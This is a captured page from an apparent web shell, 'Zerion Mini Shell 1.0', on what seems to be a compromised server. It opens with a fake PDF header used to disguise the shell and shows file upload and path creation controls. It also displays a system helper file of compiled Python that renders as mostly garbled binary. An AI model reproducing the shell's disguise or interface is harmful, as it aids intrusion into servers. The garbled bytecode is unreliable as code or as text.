%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/lve/modlscapi/user/
Upload File :
Create Path :
Current File : //usr/share/lve/modlscapi/user/exec_command.pyo

�
�cc@s�ddlZddlZddlZddlZddlZddlZd�Zd�Zd�Zd�Z	d�Z
d�ZdS(i����NcCs$|ddkr |dkr dSdS(Nis"i((tlinetisquotf((s-/usr/share/lve/modlscapi/user/exec_command.pyt
first_quotscCs.|t|�ddkr*|dkr*dSdS(Nis"i(tlen(RR((s-/usr/share/lve/modlscapi/user/exec_command.pyt	last_quots&cCs�|jd�}d}d}g}x�tt|��D]�}||dkr4t|||�dkryd}||}q4nt|||�dkr�d}|d||7}|j|�q4n|j||�q4q4W|GHdS(Nt iti(tsplittrangeRRRtappend(tcommandtisquottrestresultti((s-/usr/share/lve/modlscapi/user/exec_command.pyt
parse_command s"

cCs�g}yrtj|dtdtjdtj�}xD|jj�}|sLPn|j�dkr3|j|j��q3q3Wn"tk
r�}dt	|�GHnX|S(NtshelltstdouttstderrRsCall process error: (
t
subprocesstPopentTruetPIPERtreadlinetstripR	t	Exceptiontstr(R
R
tptoutputtinst((s-/usr/share/lve/modlscapi/user/exec_command.pytexec_command4s'cCstj|�dS(N(tostsystem(R
((s-/usr/share/lve/modlscapi/user/exec_command.pytexec_command_outCscCs1t|�}x|D]}||kr|SqWdS(Ni����(R(R
t	substringR
R((s-/usr/share/lve/modlscapi/user/exec_command.pytexec_command_find_substringGs

(tglobRtshutiltstattstringRRRRRR!R#(((s-/usr/share/lve/modlscapi/user/exec_command.pyt<module>sH					

Zerion Mini Shell 1.0